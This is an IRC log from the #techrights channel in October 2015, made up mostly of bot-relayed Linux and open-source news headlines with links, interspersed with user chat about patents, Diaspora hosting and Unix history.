TweetTuxMachines	http://t.co/fdi2IwRV6T (www.tuxmachines.org)	Oct 05 23:30
TweetTuxMachines	........................................ http://ur1.ca/nx9xa	Oct 05 23:30
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TweetTuxMachines	@tuxmachines Fedora 24 Linux Operating System to Use	Oct 06 00:03
TweetTuxMachines	retweeted by NetworkManager 1.2 by Default	Oct 06 00:03
TweetTuxMachines	@speedytux http://t.co/fdi2IwRV6T (www.tuxmachines.org)	Oct 06 00:03
TweetTuxMachines	........................................ http://ur1.ca/nxa90	Oct 06 00:03
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msb_	Temple Grandin said that high-functioning autistics like herself created the computer revolution.	Oct 06 02:00
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msb_	What if psychopath characteristics have spread in greater or lesser degree to most of the people in Western culture. Would that result in most young boys in the 1950s being interested only in sports, various models of cars, pretending to be cowboys killing Indians, and pretending to be US soldiers killing "japs"? That's what I found, and I couldn't relate to them. Out of hundreds, I found two with intellectual interests like mine,	Oct 06 02:10
msb_	and was friends with them. But my parents said I was mentally ill and threatened to have me lobotomized. I graduated with the highest grades in the advanced high school of Philadelphia (a city of 2.5 million).	Oct 06 02:10
msb_	Which I keep thinking is the approximate number of people that the US govt has murdered since 2001.	Oct 06 02:11
msb_	If almost all members of our culture have a similar mental illness, they will perceive themselves as normal, and anyone who doesn't have it as sick.	Oct 06 02:22
msb_	Psychologists, sociologists and archeologists Wilhelm Reich, Marija Gimbutas, Riane Eisler, George Gurdjieff, Peter Ouspensky, and Jean Liedloff all found, in their research, that this is the way things are.	Oct 06 02:25
*TweetTuxMachines @LATechInvestors favourited 'Launchpad Is Preparing for Snappy Packages, More Improvements...'		Oct 06 02:26
TweetTuxMachines	@tuxmachines Wine Is Coming to Android for Intel Processors	Oct 06 02:26
TweetTuxMachines	http://t.co/TExfjIwPas (www.tuxmachines.org)	Oct 06 02:26
TweetTuxMachines	........................................ http://ur1.ca/nxbqg	Oct 06 02:26
-TechrightsBot-tr/#techrights-www.tuxmachines.org \| Wine Is Coming to Android for Intel Processors \| Tux Machines		Oct 06 02:26
msb_	But people who talk about it, and its implications, get chased out of nine villages (or is it sixteen?).	Oct 06 02:27
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TweetTuxMachines	@tuxmachines Android Marshmallow: What, when, and where?	Oct 06 04:44
TweetTuxMachines	http://t.co/sQ5ztJ3hcE (www.tuxmachines.org)	Oct 06 04:44
TweetTuxMachines	........................................ http://ur1.ca/nxd5g	Oct 06 04:44
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TweetTuxMachines	@tuxmachines Audacious 3.7 Finally Enters Beta, Ports the	Oct 06 04:44
TweetTuxMachines	Winamp Classic Interface Plugin to Qt	Oct 06 04:44
TweetTuxMachines	http://t.co/wdi13nnc5P (www.tuxmachines.org)	Oct 06 04:44
TweetTuxMachines	........................................ http://ur1.ca/nxd5h	Oct 06 04:44
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TweetTuxMachines	@tuxmachines No, Microsoft Is Not Buying Canonical	Oct 06 04:44
TweetTuxMachines	http://t.co/j4ZA408ADd (news.softpedia.com)	Oct 06 04:44
TweetTuxMachines	........................................ http://ur1.ca/nxd5i	Oct 06 04:44
-TechrightsBot-tr/#techrights-news.softpedia.com \| No, Microsoft Is Not Buying Canonical - Softpedia		Oct 06 04:44
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TweetTuxMachines	@tuxmachines Canonical Patches Critical Kernel Vulnerability	Oct 06 05:36
TweetTuxMachines	in Ubuntu 15.04 and Ubuntu 14.04 LTS	Oct 06 05:36
TweetTuxMachines	http://t.co/aJ3D5og9Ew (news.softpedia.com)	Oct 06 05:36
-TechrightsBot-tr/#techrights-news.softpedia.com \| Canonical Patches Critical Kernel Vulnerability in Ubuntu 15.04 and Ubuntu 14.04 LTS - Softpedia		Oct 06 05:36
TweetTuxMachines	........................................ http://ur1.ca/nxdpj	Oct 06 05:36
TweetTuxMachines	@tuxmachines Ubuntu Unity 8 Convergence: Nexus 4 Phone	Oct 06 05:37
TweetTuxMachines	Converging into a Desktop - Gallery	Oct 06 05:37
TweetTuxMachines	http://t.co/nBkBmkLdP2 (linux.softpedia.com)	Oct 06 05:37
TweetTuxMachines	........................................ http://ur1.ca/nxdpk	Oct 06 05:37
-TechrightsBot-tr/#techrights-linux.softpedia.com \| Ubuntu Unity 8 Convergence: Nexus 4 Phone Converging into a Desktop - Gallery - Softpedia		Oct 06 05:37
TweetTuxMachines	@tuxmachines Linux: Chapeau has now dropped the Korora	Oct 06 05:37
TweetTuxMachines	software repository http://t.co/RrjZbl7cNy	Oct 06 05:37
TweetTuxMachines	(chapeaulinux.org)	Oct 06 05:37
TweetTuxMachines	........................................ http://ur1.ca/nxdpn	Oct 06 05:37
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TweetTuxMachines	@tuxmachines Manjaro JWM Edition 41015 released	Oct 06 05:40
TweetTuxMachines	https://t.co/m8WtYiWHfV (manjaro.github.io)	Oct 06 05:40
-TechrightsBot-tr/#techrights-manjaro.github.io \| Manjaro JWM Edition 41015 released – Manjaro Linux – Enjoy the simplicity		Oct 06 05:40
TweetTuxMachines	........................................ http://ur1.ca/nxdqv	Oct 06 05:40
*TweetTuxMachines @RamiSilawi retweeted @tuxmachines: 'Ubuntu Unity 8 Convergence: Nexus 4 Phone Converging...'		Oct 06 05:40
TweetTuxMachines	@RamiSilawi @tuxmachines Your tweet makes my page better:	Oct 06 05:45
TweetTuxMachines	http://t.co/Gb6V1dQPAF (www.rebelmouse.com)	Oct 06 05:45
TweetTuxMachines	........................................ http://ur1.ca/nxdt0	Oct 06 05:45
-TechrightsBot-tr/#techrights-www.rebelmouse.com \| RamiSilawi		Oct 06 05:45
TweetTuxMachines	@tuxmachines Fedora 24 Linux Operating System to Use	Oct 06 05:45
TweetTuxMachines	NetworkManager 1.2 by Default	Oct 06 05:45
TweetTuxMachines	http://t.co/sPSWAATBQv (news.softpedia.com)	Oct 06 05:45
-TechrightsBot-tr/#techrights-news.softpedia.com \| Fedora 24 Linux Operating System to Use NetworkManager 1.2 by Default - Softpedia		Oct 06 05:45
TweetTuxMachines	........................................ http://ur1.ca/nxdt1	Oct 06 05:45
TweetTuxMachines	@tuxmachines Wine Is Coming to Android for Intel Processors	Oct 06 05:45
TweetTuxMachines	http://t.co/Y2eT24SHZF (linux.softpedia.com)	Oct 06 05:45
TweetTuxMachines	........................................ http://ur1.ca/nxdt2	Oct 06 05:45
-TechrightsBot-tr/#techrights-linux.softpedia.com \| Wine Is Coming to Android for Intel Processors - Softpedia		Oct 06 05:45
TweetTuxMachines	@tuxmachines Android Marshmallow: What, when, and where?	Oct 06 05:58
TweetTuxMachines	http://t.co/cZY9xLohRt (www.techrepublic.com)	Oct 06 05:58
-TechrightsBot-tr/#techrights-www.techrepublic.com \| Android Marshmallow: What, when, and where? - TechRepublic		Oct 06 05:58
TweetTuxMachines	........................................ http://ur1.ca/nxdy3	Oct 06 05:58
TweetTuxMachines	@tuxmachines Audacious 3.7 Finally Enters Beta, Ports the	Oct 06 05:58
TweetTuxMachines	Winamp Classic Interface Plugin to Qt	Oct 06 05:59
TweetTuxMachines	http://t.co/lWUSQkAzDT (news.softpedia.com)	Oct 06 05:59
TweetTuxMachines	........................................ http://ur1.ca/nxdy4	Oct 06 05:59
-TechrightsBot-tr/#techrights-news.softpedia.com \| Audacious 3.7 Finally Enters Beta, Ports the Winamp Classic Interface Plugin to Qt - Softpedia		Oct 06 05:59
TweetTuxMachines	@tuxmachines Majority of Linux users still use Windows or	Oct 06 05:59
TweetTuxMachines	MacOS http://t.co/ZCjL48aIiB	Oct 06 05:59
-TechrightsBot-tr/#techrights-linuxblog.darkduck.com \| Majority of Linux users still use Windows or MacOS - Linux notes from DarkDuck		Oct 06 05:59
TweetTuxMachines	(linuxblog.darkduck.com)	Oct 06 05:59
TweetTuxMachines	........................................ http://ur1.ca/nxdy5	Oct 06 05:59
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TweetTuxMachines	@tuxmachines Down to Business with Major Deployments	Oct 06 06:04
TweetTuxMachines	https://t.co/gezQJKETeM (dot.kde.org)	Oct 06 06:04
TweetTuxMachines	........................................ http://ur1.ca/nxe0j	Oct 06 06:04
-TechrightsBot-tr/#techrights-dot.kde.org \| Down to Business with Major Deployments \| KDE.news		Oct 06 06:04
TweetTuxMachines	@tuxmachines Majority of Linux users still use Windows or	Oct 06 06:04
TweetTuxMachines	MacOS http://t.co/ME5fmuup6U	Oct 06 06:04
TweetTuxMachines	(www.tuxmachines.org)	Oct 06 06:04
-TechrightsBot-tr/#techrights-www.tuxmachines.org \| Majority of Linux users still use Windows or MacOS \| Tux Machines		Oct 06 06:04
TweetTuxMachines	........................................ http://ur1.ca/nxe0o	Oct 06 06:04
TweetTuxMachines	@tuxmachines Down to Business with Major Deployments	Oct 06 06:04
TweetTuxMachines	http://t.co/M5A4XGqaEv (www.tuxmachines.org)	Oct 06 06:04
TweetTuxMachines	........................................ http://ur1.ca/nxe0p	Oct 06 06:05
-TechrightsBot-tr/#techrights-www.tuxmachines.org \| Down to Business with Major Deployments \| Tux Machines		Oct 06 06:05
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TweetTuxMachines	@tuxmachines Black Lab Core Server 7 Released	Oct 06 07:20
TweetTuxMachines	http://t.co/kxFtycJnpB (www.blacklablinux.org)	Oct 06 07:20
-TechrightsBot-tr/#techrights-www.blacklablinux.org \| Black Lab Linux: Black Lab Core Server 7 Released		Oct 06 07:20
TweetTuxMachines	........................................ http://ur1.ca/nxetv	Oct 06 07:20
TweetTuxMachines	@tuxmachines Latest Manjaro Linux 15.09 Update Brings Linux	Oct 06 07:20
TweetTuxMachines	Kernel 4.2.3, Python 3.5 Support	Oct 06 07:20
TweetTuxMachines	http://t.co/TMtxgopvub (news.softpedia.com)	Oct 06 07:20
-TechrightsBot-tr/#techrights-news.softpedia.com \| Latest Manjaro Linux 15.09 Update Brings Linux Kernel 4.2.3, Python 3.5 Support - Softpedia		Oct 06 07:20
TweetTuxMachines	........................................ http://ur1.ca/nxetw	Oct 06 07:20
TweetTuxMachines	@tuxmachines Black Lab Core Server 7 Released	Oct 06 07:20
TweetTuxMachines	http://t.co/2xEsERaXwZ (www.tuxmachines.org)	Oct 06 07:20
TweetTuxMachines	........................................ http://ur1.ca/nxetx	Oct 06 07:20
-TechrightsBot-tr/#techrights-www.tuxmachines.org \| Black Lab Core Server 7 Released \| Tux Machines		Oct 06 07:20
TweetTuxMachines	@tuxmachines [OpenIndiana] Hipster 2015.10 is here	Oct 06 07:30
TweetTuxMachines	http://t.co/REurSMjBOj (www.tuxmachines.org)	Oct 06 07:30
TweetTuxMachines	........................................ http://ur1.ca/nxexq	Oct 06 07:30
-TechrightsBot-tr/#techrights-www.tuxmachines.org \| [OpenIndiana] Hipster 2015.10 is here \| Tux Machines		Oct 06 07:30
TweetTuxMachines	@tuxmachines Linux Foundation News http://t.co/um9LrIsXPR	Oct 06 07:30
TweetTuxMachines	(www.tuxmachines.org)	Oct 06 07:30
-TechrightsBot-tr/#techrights-www.tuxmachines.org \| Linux Foundation News \| Tux Machines		Oct 06 07:30
TweetTuxMachines	........................................ http://ur1.ca/nxexr	Oct 06 07:30
TweetTuxMachines	@tuxmachines An Android living in your computer	Oct 06 07:30
TweetTuxMachines	http://t.co/PXVyOUnB5e (distrowatch.com)	Oct 06 07:30
TweetTuxMachines	........................................ http://ur1.ca/nxexs	Oct 06 07:30
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TweetTuxMachines	@tuxmachines RoboPhone: Sharp to Sell Real Android Phones in	Oct 06 07:35
TweetTuxMachines	Japan http://t.co/mOJPcsct4U (blogs.wsj.com)	Oct 06 07:35
-TechrightsBot-tr/#techrights-blogs.wsj.com \| RoboPhone: Sharp to Sell Real Android Phones in Japan - Japan Real Time - WSJ		Oct 06 07:35
TweetTuxMachines	........................................ http://ur1.ca/nxezl	Oct 06 07:35
TweetTuxMachines	@tuxmachines DNF 1.1.2 and DNF-PLUGINS-CORE 0.1.12 Released	Oct 06 07:35
TweetTuxMachines	http://t.co/OG1fwjGzns (dnf.baseurl.org)	Oct 06 07:35
TweetTuxMachines	........................................ http://ur1.ca/nxezm	Oct 06 07:35
-TechrightsBot-tr/#techrights-dnf.baseurl.org \| DNF 1.1.2 and DNF-PLUGINS-CORE 0.1.12 Released \| DNF		Oct 06 07:35
TweetTuxMachines	@tuxmachines 5 Best Tools You Need To Create Your Next Big	Oct 06 07:35
TweetTuxMachines	Android App http://t.co/Fg9KzjdIJt	Oct 06 07:35
-TechrightsBot-tr/#techrights-www.junauza.com \| 5 Best Tools You Need To Create Your Next Big Android App \| TechSource		Oct 06 07:35
TweetTuxMachines	(www.junauza.com)	Oct 06 07:35
TweetTuxMachines	........................................ http://ur1.ca/nxezn	Oct 06 07:35
TweetTuxMachines	@tuxmachines Create A Custom Ubuntu Or Linux Mint ISO With	Oct 06 07:35
TweetTuxMachines	PinguyBuilder http://t.co/jvA06EdcGf	Oct 06 07:35
TweetTuxMachines	(www.webupd8.org)	Oct 06 07:35
-TechrightsBot-tr/#techrights-www.webupd8.org \| Create A Custom Ubuntu Or Linux Mint ISO With PinguyBuilder ~ Web Upd8: Ubuntu / Linux blog		Oct 06 07:35
TweetTuxMachines	........................................ http://ur1.ca/nxezo	Oct 06 07:35
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TweetTuxMachines	@tuxmachines Circular App Launcher Gnome Pie 0.6.7 Gets New	Oct 06 08:06
TweetTuxMachines	Clipboard Slice Group, Other Changes	Oct 06 08:06
TweetTuxMachines	http://t.co/Am4ZTRBC04 (www.webupd8.org)	Oct 06 08:06
TweetTuxMachines	........................................ http://ur1.ca/nxfcc	Oct 06 08:06
-TechrightsBot-tr/#techrights-www.webupd8.org \| Circular App Launcher `Gnome Pie` 0.6.7 Gets New Clipboard Slice Group, Other Changes ~ Web Upd8: Ubuntu / Linux blog		Oct 06 08:06
TweetTuxMachines	@tuxmachines Microsoft Recommends Ubuntu as the Most Popular	Oct 06 08:06
TweetTuxMachines	Linux for Cloud	Oct 06 08:06
TweetTuxMachines	http://t.co/FVykJChIi9 (linux.softpedia.com)	Oct 06 08:06
TweetTuxMachines	........................................ http://ur1.ca/nxfcd	Oct 06 08:06
-TechrightsBot-tr/#techrights-linux.softpedia.com \| Microsoft Recommends Ubuntu as the Most Popular Linux for Cloud - Softpedia		Oct 06 08:06
TweetTuxMachines	@tuxmachines OTA-7 Update for Ubuntu Touch to Enter Final	Oct 06 08:06
TweetTuxMachines	Freeze This Week http://t.co/esZsv56hjA	Oct 06 08:06
TweetTuxMachines	(news.softpedia.com)	Oct 06 08:06
-TechrightsBot-tr/#techrights-news.softpedia.com \| OTA-7 Update for Ubuntu Touch to Enter Final Freeze This Week - Softpedia		Oct 06 08:06
TweetTuxMachines	........................................ http://ur1.ca/nxfce	Oct 06 08:06
TweetTuxMachines	@tuxmachines Ubuntu Hackathon: Bangalore Mobile Developer	Oct 06 08:27
TweetTuxMachines	Summit http://t.co/FVAbNVerjw	Oct 06 08:27
TweetTuxMachines	(insights.ubuntu.com)	Oct 06 08:27
-TechrightsBot-tr/#techrights-insights.ubuntu.com \| Ubuntu Hackathon: Bangalore Mobile Developer Summit \| Ubuntu Insights		Oct 06 08:27
TweetTuxMachines	........................................ http://ur1.ca/nxfkm	Oct 06 08:27
TweetTuxMachines	@tuxmachines Top 5 Best New Android Action Games of	Oct 06 08:27
TweetTuxMachines	September 2015 http://t.co/LjrfQBocaH	Oct 06 08:27
-TechrightsBot-tr/#techrights-heavy.com \| Top 5 Best New Android Action Games of September 2015 \| Heavy.com		Oct 06 08:27
TweetTuxMachines	(heavy.com)	Oct 06 08:27
TweetTuxMachines	........................................ http://ur1.ca/nxfkn	Oct 06 08:27
TweetTuxMachines	@tuxmachines Company Shares of Red Hat, Inc. (NYSE:RHT)	Oct 06 08:27
TweetTuxMachines	Rally 0.96% http://t.co/Z0nE845EDM	Oct 06 08:27
TweetTuxMachines	(newswatchinternational.com) up "7.22% for the	Oct 06 08:27
-TechrightsBot-tr/#techrights-newswatchinternational.com \| Company Shares of Red Hat, Inc. (NYSE:RHT) Rally 0.96% \| News Watch International		Oct 06 08:27
TweetTuxMachines	last 4 weeks."	Oct 06 08:27
TweetTuxMachines	........................................ http://ur1.ca/nxfko	Oct 06 08:27
TweetTuxMachines	@tuxmachines Red Hat on track to hit 70 per cent channel	Oct 06 08:35
TweetTuxMachines	sales goal http://t.co/4JKbISO8OZ	Oct 06 08:35
TweetTuxMachines	(www.channelnomics.eu)	Oct 06 08:35
TweetTuxMachines	........................................ http://ur1.ca/nxfog	Oct 06 08:35
-TechrightsBot-tr/#techrights-www.channelnomics.eu \| Red Hat on track to hit 70 per cent channel sales goal - from Channelnomics.eu		Oct 06 08:35
TweetTuxMachines	@tuxmachines Scraps: Modular Vehicle Combat Released For	Oct 06 08:35
TweetTuxMachines	Linux, Looks Like Fun http://t.co/ON9NaTMN7J	Oct 06 08:35
TweetTuxMachines	(www.gamingonlinux.com)	Oct 06 08:35
-TechrightsBot-tr/#techrights-www.gamingonlinux.com \| Scraps: Modular Vehicle Combat Released For Linux, Looks Like Fun \| GamingOnLinux		Oct 06 08:35
TweetTuxMachines	........................................ http://ur1.ca/nxfoh	Oct 06 08:35
*TweetTuxMachines @mispaginasfavor followed @tuxmachines		Oct 06 08:36
TweetTuxMachines	@tuxmachines Cutegram, the Best Telegram Client, Reaches	Oct 06 08:40
TweetTuxMachines	Version 2.7 with Many Changes	Oct 06 08:40
TweetTuxMachines	http://t.co/YdcoTMzJrM (news.softpedia.com)	Oct 06 08:40
TweetTuxMachines	........................................ http://ur1.ca/nxfqg	Oct 06 08:40
-TechrightsBot-tr/#techrights-news.softpedia.com \| Cutegram, the Best Telegram Client, Reaches Version 2.7 with Many Changes - Softpedia		Oct 06 08:40
*TweetTuxMachines @qu1j0t3 favourited 'Scraps: Modular Vehicle Combat Released For Linux, Looks...'		Oct 06 08:41
TweetTuxMachines	@tuxmachines Does your company know how much open source it	Oct 06 08:41
TweetTuxMachines	uses? http://t.co/uRJCp0UfjM	Oct 06 08:41
TweetTuxMachines	(www.tuxmachines.org)	Oct 06 08:41
TweetTuxMachines	........................................ http://ur1.ca/nxfqk	Oct 06 08:41
-TechrightsBot-tr/#techrights-www.tuxmachines.org \| Does your company know how much open source it uses? \| Tux Machines		Oct 06 08:41
TweetTuxMachines	@tuxmachines A kid in an open source candy store	Oct 06 08:41
TweetTuxMachines	http://t.co/SSVKkjbYmD (www.tuxmachines.org)	Oct 06 08:41
TweetTuxMachines	........................................ http://ur1.ca/nxfqm	Oct 06 08:41
-TechrightsBot-tr/#techrights-www.tuxmachines.org \| A kid in an open source candy store \| Tux Machines		Oct 06 08:41
TweetTuxMachines	@tuxmachines Red Hat eyes app platform leader with Samsung	Oct 06 08:41
TweetTuxMachines	http://t.co/qT5152ec1x (www.tuxmachines.org)	Oct 06 08:41
TweetTuxMachines	........................................ http://ur1.ca/nxfqo	Oct 06 08:41
-TechrightsBot-tr/#techrights-www.tuxmachines.org \| Red Hat eyes app platform leader with Samsung \| Tux Machines		Oct 06 08:41
TweetTuxMachines	@tuxmachines Leftovers: Ubuntu http://t.co/2sS2i8DyGp	Oct 06 08:41
TweetTuxMachines	(www.tuxmachines.org)	Oct 06 08:41
-TechrightsBot-tr/#techrights-www.tuxmachines.org \| Leftovers: Ubuntu \| Tux Machines		Oct 06 08:41
TweetTuxMachines	........................................ http://ur1.ca/nxfqq	Oct 06 08:41
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TweetTuxMachines	@tuxmachines Red Hat and Fedora http://t.co/ZkvF0PLTbj	Oct 06 09:25
TweetTuxMachines	(www.tuxmachines.org)	Oct 06 09:25
TweetTuxMachines	........................................ http://ur1.ca/nxg8p	Oct 06 09:25
-TechrightsBot-tr/#techrights-www.tuxmachines.org \| Red Hat and Fedora \| Tux Machines		Oct 06 09:25
TweetTuxMachines	@tuxmachines First Point Release of GTK+ 3.18 Introduces	Oct 06 09:25
TweetTuxMachines	Faster Popover Animations, More	Oct 06 09:25
TweetTuxMachines	http://t.co/oBY8Qlc91C (news.softpedia.com)	Oct 06 09:25
TweetTuxMachines	........................................ http://ur1.ca/nxg8q	Oct 06 09:25
-TechrightsBot-tr/#techrights-news.softpedia.com \| First Point Release of GTK+ 3.18 Introduces Faster Popover Animations, More - Softpedia		Oct 06 09:25
TweetTuxMachines	@tuxmachines Why Google Will Still Bet on Both Chrome OS and	Oct 06 09:25
TweetTuxMachines	Android http://t.co/QgQgwyy7CS (ostatic.com)	Oct 06 09:25
TweetTuxMachines	........................................ http://ur1.ca/nxg8r	Oct 06 09:25
-TechrightsBot-tr/#techrights-ostatic.com \| Why Google Will Still Bet on Both Chrome OS and Android		Oct 06 09:25
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schestowitz	https://twitter.com/esthete/status/651389937384755200	Oct 06 09:40
-TechrightsBot-tr/#techrights-@esthete: Patent troll débarquent en Europe http://t.co/CBJdPxXCHQ		Oct 06 09:40
-TechrightsBot-tr/#techrights--> techrights.org \| With Software Patents in Europe (and Pushes for the Same Thing in Australia and India) Patent Trolls Now Come to Europe, Attack Android/Linux \| Techrights		Oct 06 09:41
schestowitz	https://twitter.com/Splat_Blatter/status/651390923184717824	Oct 06 09:41
-TechrightsBot-tr/#techrights-@Splat_Blatter: @FiftyAtTheBid @TheCitizenSport @SportCorruption @LLP_Le_Vrai @schestowitz @zoobab #Blatter on his way out! http://t.co/zUZbbrpuXc		Oct 06 09:41
-TechrightsBot-tr/#techrights-@Splat_Blatter: @FiftyAtTheBid @TheCitizenSport @SportCorruption @LLP_Le_Vrai @schestowitz @zoobab #Blatter on his way out! http://t.co/zUZbbrpuXc		Oct 06 09:41
schestowitz	https://twitter.com/AJimenez1988/status/651388314923204608 https://twitter.com/AJimenez1988/status/651388758940626944	Oct 06 09:41
-TechrightsBot-tr/#techrights-@AJimenez1988: @schestowitz Good riddance. If political correctness invades everything the Aspies that develop tech won't have a release.		Oct 06 09:41
-TechrightsBot-tr/#techrights-@AJimenez1988: @schestowitz Dafuq!? Nerds are harmless, that's why people can spew venom on them without fear of reprisal.		Oct 06 09:41
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TweetTuxMachines	@tuxmachines "Ubuntu Is the Recommended OS" of a game	Oct 06 09:59
TweetTuxMachines	http://t.co/ZsvZpuBev0 (www.phoronix.com)	Oct 06 09:59
TweetTuxMachines	http://t.co/F8Hnv3aVHU (news.softpedia.com)	Oct 06 09:59
-TechrightsBot-tr/#techrights-www.phoronix.com \| Linux Beta Released For Trine 3: Artifacts of Power - Phoronix		Oct 06 09:59
TweetTuxMachines	........................................ http://ur1.ca/nxgol	Oct 06 09:59
-TechrightsBot-tr/#techrights-news.softpedia.com \| Trine 3: The Artifacts of Power Beta Now Available for Linux, Ubuntu Is the Recommended OS - Softpedia		Oct 06 09:59
*TweetTuxMachines @techmuser favourited '"Ubuntu Is the Recommended OS" of a game...'		Oct 06 09:59
MinceR	https://en.wikipedia.org/wiki/Internet_censorship_in_the_United_Kingdom#Overblocking	Oct 06 10:04
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schestowitz	https://twitter.com/zoobab/status/651400448918876160	Oct 06 10:31
-TechrightsBot-tr/#techrights-@zoobab: @Splat_Blatter @FiftyAtTheBid @TheCitizenSport @SportCorruption @LLP_Le_Vrai @schestowitz he should retire in prison, like Batistelli.		Oct 06 10:31
TweetTuxMachines	@tuxmachines LLVM/Clang http://t.co/rGkrwOMQoD	Oct 06 11:06
TweetTuxMachines	(www.tuxmachines.org)	Oct 06 11:06
TweetTuxMachines	........................................ http://ur1.ca/nxhli	Oct 06 11:06
-TechrightsBot-tr/#techrights-www.tuxmachines.org \| LLVM/Clang \| Tux Machines		Oct 06 11:06
TweetTuxMachines	@tuxmachines Apache OpenOffice Coming http://t.co/6xeGKsfKjN	Oct 06 11:06
TweetTuxMachines	(www.tuxmachines.org)	Oct 06 11:06
TweetTuxMachines	........................................ http://ur1.ca/nxhlj	Oct 06 11:06
-TechrightsBot-tr/#techrights-www.tuxmachines.org \| Apache OpenOffice Coming \| Tux Machines		Oct 06 11:06
TweetTuxMachines	@tuxmachines 2015 Productivity, Linux-Style	Oct 06 11:06
TweetTuxMachines	https://t.co/hExioacPlM (dzone.com)	Oct 06 11:06
TweetTuxMachines	........................................ http://ur1.ca/nxhlk	Oct 06 11:06
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schestowitz	https://twitter.com/zoobab/status/651411607902384128	Oct 06 11:08
-TechrightsBot-tr/#techrights-@zoobab: @schestowitz Yocto is a nightmare compared to Openwrt.		Oct 06 11:08
schestowitz	https://twitter.com/FOSSpatents/status/651414855988215808	Oct 06 11:13
-TechrightsBot-tr/#techrights-@FOSSpatents: @schestowitz Have you obtained the EPO's "Closer contacts with major applicants" document yet? Your EPO sources should be able to get it.		Oct 06 11:13
schestowitz	haven't received it, didn't explicitly ask for it. Why not just put it on scribd yourself?	Oct 06 11:13
schestowitz	https://twitter.com/FOSSpatents/status/651415813967187968	Oct 06 11:17
-TechrightsBot-tr/#techrights-@FOSSpatents: @schestowitz my source had asked me not to share or publish and I promised not to		Oct 06 11:17
schestowitz	I will ask around...	Oct 06 11:17
schestowitz	http://t.co/LH6ChOe0bq	Oct 06 11:22
-TechrightsBot-tr/#techrights-www.ft.com \| EU court suspends Safe Harbour transatlantic data-sharing deal - FT.com		Oct 06 11:22
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schestowitz	https://twitter.com/zoobab/status/651018528896716800	Oct 06 11:34
-TechrightsBot-tr/#techrights-@zoobab: Listening to a debate on eVoting, stealing the right of people to control the elections by offloading to computer "pseudo-experts" #parlbru		Oct 06 11:34
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TweetTuxMachines	@tuxmachines Incompetence, not Linux, is behind the XOR DDoS	Oct 06 12:44
TweetTuxMachines	botnet http://t.co/zK3VrQPRBG (www.zdnet.com)	Oct 06 12:44
TweetTuxMachines	........................................ http://ur1.ca/nxiw6	Oct 06 12:44
-TechrightsBot-tr/#techrights-www.zdnet.com \| Incompetence, not Linux, is behind the XOR DDoS botnet \| ZDNet		Oct 06 12:44
TweetTuxMachines	@tuxmachines Links 6/10/2015: Linux 4.3 RC4, HP OpenSwitch,	Oct 06 12:44
TweetTuxMachines	Wind River Linux 8 http://t.co/6VikiKXENe	Oct 06 12:44
TweetTuxMachines	(techrights.org)	Oct 06 12:44
TweetTuxMachines	........................................ http://ur1.ca/nxiw7	Oct 06 12:44
-TechrightsBot-tr/#techrights-techrights.org \| Links 6/10/2015: Linux 4.3 RC4, HP OpenSwitch, Wind River Linux 8 \| Techrights		Oct 06 12:44
TweetTuxMachines	@tuxmachines Linux-based OpenSwitch http://t.co/3iwz5HqxJ9	Oct 06 12:44
TweetTuxMachines	(www.tuxmachines.org)	Oct 06 12:44
TweetTuxMachines	........................................ http://ur1.ca/nxiw8	Oct 06 12:44
-TechrightsBot-tr/#techrights-www.tuxmachines.org \| Linux-based OpenSwitch \| Tux Machines		Oct 06 12:44
MinceR	http://www.cracked.com/article_18775_5-popular-safety-measures-that-dont-make-you-any-safer.html	Oct 06 12:44
-TechrightsBot-tr/#techrights-www.cracked.com \| 5 Popular Safety Measures That Don't Make You Any Safer \| Cracked.com [ http://ur1.ca/nxiwk ]		Oct 06 12:44
TweetTuxMachines	@tuxmachines Leftovers: Gaming http://t.co/RUPh1P1VwW	Oct 06 12:44
TweetTuxMachines	(www.tuxmachines.org)	Oct 06 12:44
TweetTuxMachines	........................................ http://ur1.ca/nxiwf	Oct 06 12:44
-TechrightsBot-tr/#techrights-www.tuxmachines.org \| Leftovers: Gaming \| Tux Machines		Oct 06 12:44
TweetTuxMachines	@tuxmachines today's howtos http://t.co/uIc3biGDVY	Oct 06 12:44
TweetTuxMachines	(www.tuxmachines.org)	Oct 06 12:44
TweetTuxMachines	........................................ http://ur1.ca/nxiwg	Oct 06 12:44
-TechrightsBot-tr/#techrights-www.tuxmachines.org \| today's howtos \| Tux Machines		Oct 06 12:44
TweetTuxMachines	@tuxmachines Leftovers: Software http://t.co/FxUu40FQAO	Oct 06 12:44
TweetTuxMachines	(www.tuxmachines.org)	Oct 06 12:44
TweetTuxMachines	........................................ http://ur1.ca/nxiwj	Oct 06 12:44
-TechrightsBot-tr/#techrights-www.tuxmachines.org \| Leftovers: Software \| Tux Machines		Oct 06 12:44
schestowitz	https://joindiaspora.com/posts/6672589	Oct 06 13:03
-TechrightsBot-tr/#techrights-@linux@joindiaspora.com reshared: JoinDiaspora.com is broken. I have been trying to sign in for days. #Diaspora #JD		Oct 06 13:03
-TechrightsBot-tr/#techrights- Photo by copaflight8@joindiaspora.com: https://joindiaspora.s3.amazonaws.com/uploads/images/thumb_medium_0af4f42d8cbb6765f937.JPG		Oct 06 13:03
schestowitz	"Too many users, too small a server. Time to move to other servers, I’m going to host my own soon, probably."	Oct 06 13:03
cubexyz	sure, run your own host	Oct 06 13:07
cubexyz	you'll learn a lot more	Oct 06 13:07
cubexyz	ok, as for "world without linux" I think a short history lesson is in order	Oct 06 13:14
cubexyz	Unix predates Linux and was started in the summer of 1969	Oct 06 13:14
cubexyz	by 1974 it left the lab, and was used by many academic insitutions	Oct 06 13:15
cubexyz	BSD 1.0 appeared in 1978	Oct 06 13:15
cubexyz	support for TCP/IP appeared in 4.2BSD in 1982	Oct 06 13:16
cubexyz	Linux 0.01 appeared in sept 17th, 1991	Oct 06 13:16
cubexyz	so it's silly to say that without Linux we would have no internet	Oct 06 13:17
cubexyz	some of the earlier ISPs were using BSD	Oct 06 13:17
cubexyz	some still do to this day	Oct 06 13:19
TweetTuxMachines	@tuxmachines today's leftovers http://t.co/UWLSgjvaET	Oct 06 13:46
TweetTuxMachines	(www.tuxmachines.org)	Oct 06 13:46
TweetTuxMachines	........................................ http://ur1.ca/nxjl5	Oct 06 13:46
-TechrightsBot-tr/#techrights-www.tuxmachines.org \| today's leftovers \| Tux Machines		Oct 06 13:46
TweetTuxMachines	@tuxmachines Media Reports Based on New Patents Suggest That	Oct 06 13:46
TweetTuxMachines	Microsoft Continues to Attack Google and	Oct 06 13:46
TweetTuxMachines	Android/Linux http://t.co/8Ne07huwnm	Oct 06 13:46
TweetTuxMachines	(techrights.org)	Oct 06 13:46
TweetTuxMachines	........................................ http://ur1.ca/nxjl6	Oct 06 13:46
TweetTuxMachines	@tuxmachines Today in Techrights http://t.co/vCwaitDSSy	Oct 06 13:46
